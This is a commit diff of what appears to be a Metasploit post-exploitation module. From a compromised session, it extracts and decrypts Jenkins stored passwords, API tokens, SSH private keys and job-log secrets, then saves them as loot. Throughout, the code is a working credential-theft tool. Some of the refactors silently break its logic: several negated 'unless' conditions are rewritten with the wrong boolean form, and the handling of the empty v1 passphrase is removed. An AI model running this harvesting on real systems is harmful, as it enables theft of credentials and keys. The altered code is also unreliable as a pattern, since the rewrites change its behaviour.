@@ -20,7 +20,7 @@ def initialize(info = {})
20
20
'License' => MSF_LICENSE ,
21
21
'Author' => [ 'thesubtlety' ] ,
22
22
'Platform' => [ 'linux' , 'win' ] ,
23
- 'SessionTypes' => [ %w[ shell meterpreter ] ]
23
+ 'SessionTypes' => [ %w[ shell meterpreter ] ]
24
24
) )
25
25
register_options (
26
26
[ OptBool . new ( 'STORE_LOOT' , [ false , 'Store files in loot (will simply output file to console if set to false).' , true ] ) ,
@@ -35,17 +35,17 @@ def initialize(info = {})
35
35
36
36
def report_creds ( user , pass )
37
37
return if user . empty? || pass . empty?
38
- credential_data = {
39
- origin_type : :session ,
40
- post_reference_name : self . fullname ,
41
- private_data : pass ,
42
- private_type : :password ,
43
- session_id : session_db_id ,
44
- username : user ,
45
- workspace_id : myworkspace_id
46
- }
47
-
48
- create_credential ( credential_data )
38
+ credential_data = {
39
+ origin_type : :session ,
40
+ post_reference_name : self . fullname ,
41
+ private_data : pass ,
42
+ private_type : :password ,
43
+ session_id : session_db_id ,
44
+ username : user ,
45
+ workspace_id : myworkspace_id
46
+ }
47
+
48
+ create_credential ( credential_data )
49
49
end
50
50
51
51
def parse_credentialsxml ( file )
@@ -62,9 +62,6 @@ def parse_credentialsxml(file)
62
62
63
63
xml_doc = Nokogiri ::XML ( f )
64
64
xml_doc . xpath ( "//com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl" ) . each do |node |
65
- username = ""
66
- password = ""
67
- description = ""
68
65
username = node . xpath ( "username" ) . text
69
66
password = decrypt ( node . xpath ( "password" ) . text )
70
67
description = node . xpath ( "description" ) . text
@@ -74,26 +71,21 @@ def parse_credentialsxml(file)
74
71
end
75
72
76
73
xml_doc . xpath ( "//com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey" ) . each do |node |
77
- cred_id = ""
78
- username = ""
79
- description = ""
80
- passphrase = ""
81
- private_key = ""
82
74
cred_id = node . xpath ( "id" ) . text
83
75
username = node . xpath ( "username" ) . text
84
76
description = node . xpath ( "description" ) . text
85
- passphrase = node . xpath ( "passphrase" ) . text . gsub ( "lneLKHOnEJRWJE7IKwLpAg==" , "" ) # jenkins v1 empty passphrase
86
- passphrase = decrypt ( passphrase ) unless passphrase == "lneLKHOnEJRWJE7IKwLpAg=="
77
+ passphrase = node . xpath ( "passphrase" ) . text
78
+ passphrase = decrypt ( passphrase )
87
79
private_key = node . xpath ( "//privateKeySource//privateKey" ) . text
88
- private_key = decrypt ( private_key ) unless private_key . match? ( /----BEGIN/ )
80
+ private_key = decrypt ( private_key ) if ! private_key . match? ( /----BEGIN/ )
89
81
print_good ( "SSH Key found! ID: #{ cred_id } Passphrase: #{ passphrase || '<empty>' } Username: #{ username } Description: #{ description } " )
90
82
91
83
store_loot ( "ssh-#{ cred_id } " , 'text/plain' , session , private_key , nil , nil ) if datastore [ 'STORE_LOOT' ]
92
84
@ssh_keys << [ cred_id , description , passphrase , username , private_key ]
93
85
94
86
begin
95
87
k = OpenSSL ::PKey ::RSA . new ( private_key , passphrase )
96
- key = SSHKey . new ( k , : passphrase => passphrase , : comment => cred_id )
88
+ key = SSHKey . new ( k , passphrase : passphrase , comment : cred_id )
97
89
credential_data = {
98
90
origin_type : :session ,
99
91
session_id : session_db_id ,
@@ -175,7 +167,7 @@ def parse_jobs(file)
175
167
end
176
168
177
169
@creds << [ username , pw , "" ]
178
- print_good ( "Job Info found - Job Name: #{ job_name } User: #{ username } Password: #{ pw } " ) unless pw . blank?
170
+ print_good ( "Job Info found - Job Name: #{ job_name } User: #{ username } Password: #{ pw } " ) if ! pw . blank?
179
171
store_loot ( "job-#{ fname } " , 'text/plain' , session , f , nil , nil ) if datastore [ 'STORE_LOOT' ]
180
172
end
181
173
@@ -191,7 +183,7 @@ def pretty_print_gathered
191
183
]
192
184
)
193
185
@creds . uniq . each { |e | creds_table << e }
194
- print_good ( "\n " + creds_table . to_s ) unless creds_table . rows . count . zero?
186
+ print_good ( "\n " + creds_table . to_s ) if ! creds_table . rows . count . zero?
195
187
store_loot ( 'all.creds.csv' , 'text/plain' , session , creds_table . to_csv , nil , nil ) if datastore [ 'STORE_LOOT' ]
196
188
197
189
api_table = Rex ::Text ::Table . new (
@@ -204,7 +196,7 @@ def pretty_print_gathered
204
196
]
205
197
)
206
198
@api_tokens . uniq . each { |e | api_table << e }
207
- print_good ( "\n " + api_table . to_s ) unless api_table . rows . count . zero?
199
+ print_good ( "\n " + api_table . to_s ) if ! api_table . rows . count . zero?
208
200
store_loot ( 'all.apitokens.csv' , 'text/plain' , session , api_table . to_csv , nil , nil ) if datastore [ 'STORE_LOOT' ]
209
201
210
202
node_table = Rex ::Text ::Table . new (
@@ -220,15 +212,15 @@ def pretty_print_gathered
220
212
]
221
213
)
222
214
@nodes . uniq . each { |e | node_table << e }
223
- print_good ( "\n " + node_table . to_s ) unless node_table . rows . count . zero?
215
+ print_good ( "\n " + node_table . to_s ) if ! node_table . rows . count . zero?
224
216
store_loot ( 'all.nodes.csv' , 'text/plain' , session , node_table . to_csv , nil , nil ) if datastore [ 'STORE_LOOT' ]
225
217
226
218
@ssh_keys . uniq . each do |e |
227
219
print_good ( "SSH Key" )
228
220
print_status ( " ID: #{ e [ 0 ] } " )
229
- print_status ( " Description: #{ e [ 1 ] } " ) unless e [ 1 ] . nil? || e [ 1 ] . empty?
230
- print_status ( " Passphrase: #{ e [ 2 ] } " ) unless e [ 2 ] . nil? || e [ 2 ] . empty?
231
- print_status ( " Username: #{ e [ 3 ] } " ) unless e [ 3 ] . nil? || e [ 3 ] . empty?
221
+ print_status ( " Description: #{ e [ 1 ] } " ) if ! e [ 1 ] . nil? || ! e [ 1 ] . empty?
222
+ print_status ( " Passphrase: #{ e [ 2 ] } " ) if ! e [ 2 ] . nil? || ! e [ 2 ] . empty?
223
+ print_status ( " Username: #{ e [ 3 ] } " ) if ! e [ 3 ] . nil? || ! e [ 3 ] . empty?
232
224
print_status ( "\n #{ e [ 4 ] } " )
233
225
end
234
226
ssh_output = @ssh_keys . each { |e | e . join ( "," ) + "\n \n \n " }
@@ -244,7 +236,7 @@ def grep_job_history(path, platform)
244
236
results = cmd_exec ( "/bin/egrep" , "-ir \" password|secret|key\" --include log \" #{ path } \" " )
245
237
end
246
238
store_loot ( 'jobhistory.truffles' , 'text/plain' , session , results , nil , nil ) if datastore [ 'STORE_LOOT' ] && !results . empty?
247
- print_good ( "Job Log truffles:\n #{ results } " ) unless results . empty?
239
+ print_good ( "Job Log truffles:\n #{ results } " ) if ! results . empty?
248
240
end
249
241
250
242
def find_configs ( path , platform )
@@ -254,7 +246,8 @@ def find_configs(path, platform)
254
246
case session . type
255
247
when 'meterpreter'
256
248
configs = ""
257
- c = session . fs . file . search ( path , "config.xml" , recurse = true , timeout = -1 ) . concat ( session . fs . file . search ( path , "build.xml" , recurse = true , timeout = -1 ) )
249
+ c = session . fs . file . search ( path , "config.xml" , true , -1 ) \
250
+ . concat ( session . fs . file . search ( path , "build.xml" , true , -1 ) )
258
251
c . each { |f | configs << f [ "path" ] + "\\ " + f [ "name" ] + "\n " }
259
252
else
260
253
configs = cmd_exec ( "cmd.exe" , "/c dir /b /s \" #{ path } \\ *config.xml\" \" #{ path } \\ *build.xml\" " )
@@ -325,7 +318,7 @@ def find_home(platform)
325
318
when "nix"
326
319
home = cmd_exec ( "find" , "/ -name 'secret.key.not-so-secret' 2>/dev/null" , timeout = 120 ) . split ( '/' ) [ 0 ..-2 ] . join ( '/' ) . strip
327
320
end
328
- fail_with ( Failure ::NotFound , "No Jenkins installation found or readable, exiting..." ) unless exist? ( home )
321
+ fail_with ( Failure ::NotFound , "No Jenkins installation found or readable, exiting..." ) if ! exist? ( home )
329
322
print_status ( "Found Jenkins installation at #{ home } " )
330
323
home
331
324
end
@@ -366,7 +359,7 @@ def decrypt_key(master_key, hudson_secret_key)
366
359
intermediate . key = hashed_master_key
367
360
368
361
salted_final = intermediate . update ( hudson_secret_key ) + intermediate . final
369
- raise 'no magic key in a' unless salted_final . include? ( magic )
362
+ raise 'no magic key in a' if ! salted_final . include? ( magic )
370
363
salted_final [ 0 ..15 ]
371
364
end
372
365
0 commit comments